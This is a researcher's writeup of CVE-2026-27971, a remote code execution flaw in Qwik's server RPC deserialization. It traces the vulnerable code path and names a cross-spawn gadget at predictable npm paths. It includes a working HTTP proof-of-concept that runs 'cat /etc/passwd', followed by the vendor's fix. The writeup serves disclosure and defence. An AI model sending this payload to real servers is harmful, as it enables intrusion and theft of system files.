A Qwik RCE: CVE-2026-27971 writeup

I used to enjoy working with various Node.js frameworks for my web development projects. Recently, I came across an interesting one, but since my developer days are behind me I decided to try and break it.

Qwik is a popular framework (with 22k stars on GitHub at the time of writing) that differs from the others in its approach to performance. Instead of hydrating components like most frameworks do, it ships near-zero JavaScript on page load: the server serializes the entire application state (event listeners, component trees, reactive signals) into the initial HTML. Execution starts on the server and resumes on the client side without replaying any component logic. This means code is only downloaded and executed when the user actually interacts with the page. Qwik calls this resumability.

The serialization concept immediately caught my attention, and after digging into it, I found a way to achieve Remote Code Execution (RCE) by abusing the deserialization mechanism in its RPC system: which has been assigned CVE-2026-27971

To understand how the exploit works, we first need to understand three core concepts: the optimizer, the serialization format, and QRLs.

The Optimizer

Qwik's philosophy is to delay loading code for as long as possible. To do that, it relies on the optimizer, a Rust-based compiler plugin that runs at build time. It looks for every $ marker in the code and extracts the following expression into a separate lazy-loadable chunk. For example:

export default component$(() => { return <button onClick$={() => console.log('hello')}>Hello Qwik</button>; });

This becomes separate files, each referencing the next via qrl() that pairs a dynamic import() with a symbol name, creating a lazy reference to the extracted closure:

// Component wrapper lazy-loads the component body const App = componentQrl( qrl(() => import('./app_component_akbu84a8zes.js'), 'App_component_AkbU84a8zes') ); // Component body lazy-loads the click handler export const App_component_AkbU84a8zes = () => { return _jsx('button', { onClick$: qrl( () => import('./app_component_button_onclick_01pegc10cpw'), 'App_component_button_onClick_01pEgC10cpw' ), children: 'Hello Qwik', }); }; export const App_component_button_onClick_01pEgC10cpw = () => console.log('hello');

Serialization Format

At SSR time, Qwik captures the full application state and writes it into a <script type="qwik/json"> tag in the HTML. This JSON blob contains:

{ "ctx": { ... }, // component contexts and element metadata "objs":[ ... ], // flat array of all serialized objects "subs": [ ... ], // signal subscription graph "refs": { ... } // DOM element references }

The objs array is where things get interesting. Each entry is either a plain JSON value or a typed value identified by a single-byte prefix:

PrefixType
\u0002QRL
\u0003Task
\u0005URL
\u0006Date
\u0010Component
\u0011DerivedSignal
\u0012Signal

During deserialization, each string is dispatched to its specific deserializer based on the prefix byte, on both the client and the server (to parse incoming server$ RPC requests, which we'll explore next). The type of interest for this vulnerability is QRL.

QRL

A QRL (Qwik URL) is a URL that points to a specific exported symbol inside a JS chunk, along with any captured scope variables needed to reconstruct the closure.

Its format is simply: chunk#symbol[captures]

It is used to resolve a function when an event fires. Here's an example from server-rendered HTML:

<button id="start-stream" on:click="q-BIZUgBRa.js#s_0DY7EP1UXBg[0]" q:id="1a">

Qwik serializes QRLs as strings into the HTML. When the user triggers an event, Qwik:

  1. Reads the QRL string from the DOM on: attribute.
  2. Downloads just the referenced chunk.
  3. Resolves the named export.
  4. Executes the handler.

QRL Server-Side Implementation

Qwik also provides the server$ function, which marks functions for server-only execution:

<button onClick$={() => server$(() => console.log('server side execution'))}>Hello Qwik</button>

When the event fires, here is what happens:

  1. A POST request is sent with a ?qfunc=<hash> query parameter, an X-QRL: <hash> header, and a serialized body in the application/qwik-json format. This body includes the QRL that points to the function to call, alongside its arguments.
  2. The server deserializes the body, resolves the QRL, and invokes the function.
  3. The result is serialized back and returned to the client.

The serialized request body looks like this:

{ "_entry": "3", "_objs":[ "\u0002_#s_gqL706cuzog", "world", { "hello": "1" }, [ "0", "2" ] ] }

_objs is just a flat array of all values, where references between objects use string indices instead of nesting. For example, "hello": "1" means the value of hello is _objs[1] (which is "world"). _entry points to the root object, here _objs[3] which is the array ["0", "2"]. Resolving its indices gives [_objs[0], _objs[2]], so the final result is ["\u0002_#s_gqL706cuzog",{"hello":"world"}].

On the server side, QRLs are represented as async functions that take a chunk (a local .js file) and a symbol (an exported function name), and resolve them at call time.

Here is a simplified version of createQRL (see qrl-class.ts:L66-239 for the full implementation):

export const createQRL = <TYPE>( chunk: string | null, // module path symbol: string, // exported function name // ... ): QRLInternal<TYPE> => { const resolve = async (): Promise<TYPE> => { return getPlatform().importSymbol(_containerEl, chunk, symbol); // imports the module, returns the symbol }; const resolveLazy = (): ValueOrPromise<TYPE> => { return symbolRef !== null ? symbolRef : resolve(); // resolve() is called }; function invokeFn(this: unknown) { return (...args: QrlArgs<TYPE>): QrlReturn<TYPE> => maybeThen(resolveLazy(), (f) => { return invoke.call(this, context, f, ...(args as Parameters<typeof f>)); // calls the symbol }); } const qrl = async function (this: unknown, ...args: QrlArgs<TYPE>) { const fn = invokeFn.call(this, undefined); return await fn(...args); }; // ... };

When a QRL is called on the server, the flow is: invokeFn -> resolveLazy -> resolve -> getPlatform().importSymbol(chunk, symbol) -> the symbol is imported, then executed with invoke.call.

With this understanding, we can now see how these pieces combine into a pre-auth RCE chain.

Vulnerability Analysis

The vulnerability can be triggered with a single request by default on any Qwik deployment where require() is globally available, such as Bun or traditional CJS setups.

The standard Qwik build (npm create qwik) produces ESM output. In Node.js ESM, require is not a global, so the call throws at runtime and the chain breaks. However, Bun provides require() as a built-in global in all module types, making the same unmodified build fully exploitable.

1. Entry point

We start the chain with runServerFunction, which is pushed into the middleware handler chain for every page route on POST and GET requests (resolve-request-handlers.ts:89-93). It runs on every request regardless of whether the page actually defines a server$ function.

async function runServerFunction(ev: RequestEvent) { const fn = ev.query.get(QFN_KEY); // QFN_KEY = 'qfunc' if (fn && ev.request.headers.get('X-QRL') === fn && ev.request.headers.get('Content-Type') === 'application/qwik-json') { ev.exit(); const qwikSerializer = (ev as RequestEventInternal)[RequestEvQwikSerializer]; const data = await ev.parseBody(); // calls parseRequest -> _deserializeData if (Array.isArray(data)) { const [qrl, ...args] = data; if (isQrl(qrl) && qrl.getHash() === fn) { // we control both sides since getHash returns the hash (# part) of the submitted qrl let result: unknown; // ... result = await (qrl as Function).apply(ev, args); // invokes the attacker's QRL

The function reads a symbol hash from the qfunc query parameter. This value must match both the X-QRL header and the hash of the QRL in the request body. For example: qfunc=test, X-QRL=test, and a body of {"_entry":"0","_objs":[["1"],"\u0002a_chunk#test"]}.

It deserializes the request body, extracts the QRL function and its arguments, and calls it.

2. Deserialization

The request body is deserialized through parseBody -> parseRequest -> _deserializeData, which reconstructs objects directly from the attacker-supplied JSON.

packages/qwik/src/core/container/resume.ts:52-84

export const _deserializeData = (data: string, element?: unknown) => { const obj = JSON.parse(data); if (typeof obj !== 'object') { return null; } const { _objs, _entry } = obj; if (typeof _objs === 'undefined' || typeof _entry === 'undefined') { return null; } let doc = {} as Document; let containerState = {} as any; // ... const parser = createParser(containerState, doc); for (let i = 0; i < _objs.length; i++) { const value = _objs[i]; if (isString(value)) { _objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value); // prepare() is called, then the QRL is parsed } } const getObject: GetObject = (id) => _objs[strToInt(id)]; for (const obj of _objs) { reviveNestedObjects(obj, getObject, parser); // unflattens the _objs array into an object } return getObject(_entry); };

The POST body is parsed as JSON, and each string in the _objs array starting with \u0002 is dispatched to QRLSerializer.$prepare$ (serializers.ts:132-134).

const QRLSerializer = /*#__PURE__*/ serializer<QRLInternal>({ $prefix$: '\u0002', // ... $prepare$: (data, containerState) => { return parseQRL(data, containerState.$containerEl$); // parses input data }, // ... });

This calls parseQRL() (qrl.ts:231-256), which basically splits the string into the chunk, the symbol, and its captures. It passes everything directly to createQRL() that we saw earlier that returns an async function where both chunk and symbol come directly from the attacker's input. When this function is later invoked by runServerFunction (step 1), it hits getPlatform().importSymbol(chunk, symbol), leading us to the sink.

3. The RCE Sink

importSymbol is where our attacker-controlled data hits require(). Both the module path and the symbol name come from the request, meaning any local .js file that exports a dangerous function can be loaded and its export extracted.

packages/qwik/src/server/platform.ts:42-57

const serverPlatform: CorePlatformServer = { isServer: true, async importSymbol(_containerEl, url, symbolName) { // both url and symbolName are attacker-controlled const hash = getSymbolHash(symbolName); const regSym = (globalThis as any).__qwik_reg_symbols?.get(hash); if (regSym) { return regSym; } let modulePath = String(url); if (!modulePath.endsWith('.js')) { modulePath += '.js'; } const module = require(modulePath); //! Arbitrary js module import! `require(attacker_string + ".js")` if (!(symbolName in module)) { throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`); } return module[symbolName]; // we can control which function gets returned }

This strict .js appendage prevents loading any module such as child_process, that would lead to a straightforward exploit, forcing us instead to find a local .js file on the filesystem that exports a dangerous function.

4. Finding a Local Gadget: Living off the Land js gadget

Because we cannot upload files to a default Qwik app, we need to find a .js file already present on the target system that exports a dangerous function.

I wanted a universal primitive, so I began searching for a .js file universally present across all Node.js deployments. This led me to the npm CLI itself, which is conveniently bundled with Node.js by default.

Searching npm's dependency tree for a native execution wrapper, I found the perfect gadget: cross-spawn. It exports a sync function that directly wraps child_process.spawnSync:

root@5760dfd5c804:/app# find / -name "*.js" 2>/dev/null | grep spawn ... /usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js ... root@5760dfd5c804:/app# cat /usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js
const cp = require('child_process'); // ... function spawnSync(command, args, options) { const parsed = parse(command, args, options); const result = cp.spawnSync(parsed.command, parsed.args, parsed.options); result.error = result.error || enoent.verifyENOENTSync(result.status, parsed); return result; } // ... module.exports.sync = spawnSync;

The function signature sync(command, args, options) maps directly to child_process.spawnSync, exactly the kind of gadget we need.

This file can be found at predictable paths across systems: for example /usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js on Linux and C:\Program Files\nodejs\node_modules\npm\node_modules\cross-spawn\index.js on Windows. It is also a transitive dependency of many packages, including Qwik itself.

5. Arbitrary Function Invocation

Once require() loads the gadget module, importSymbol returns module["sync"] back up the call chain to runServerFunction.

Recall from step 1 how the deserialized array is destructured:

const [qrl, ...args] = data; // data = [qrlFunction, ...parsed_body] // ... result = await (qrl as Function).apply(ev, args); // effectively: sync(...parsed_body)

The first element is the QRL (resolved to our gadget function), and everything after it becomes the arguments passed via .apply(). Since we control the entire _objs array in the request body, we dictate both which function gets called and with what arguments.

PoC

The following request executes cat /etc/passwd, and the result is returned as base64 in the HTTP response.

POST /?qfunc=sync HTTP/1.1 Host: localhost Content-Length: 143 X-QRL: sync Accept-Language: en-US,en;q=0.9 Content-Type: application/qwik-json Connection: keep-alive
{ "_entry":"0", "_objs":[ ["1","2","3"], "\u0002/usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js#sync", "cat", ["4"], "/etc/passwd" ] }

The Fix

The Qwik team addressed this by removing dynamic require() from importSymbol entirely, which appeared to be dead code.

The patched code now throws an error immediately if a symbol isn't found in the build registry:

async importSymbol(_containerEl, url, symbolName) { const hash = getSymbolHash(symbolName); const regSym = (globalThis as any).__qwik_reg_symbols?.get(hash); if (regSym) { return regSym; } - - let modulePath = String(url); - if (!modulePath.endsWith('.js')) { - modulePath += '.js'; - } - const module = require(modulePath); - if (!(symbolName in module)) { - throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`); - } - return module[symbolName]; + // we never lazy import on the server + throw qError(QError_dynamicImportFailed, symbolName); },

Sebsrt

LOADING...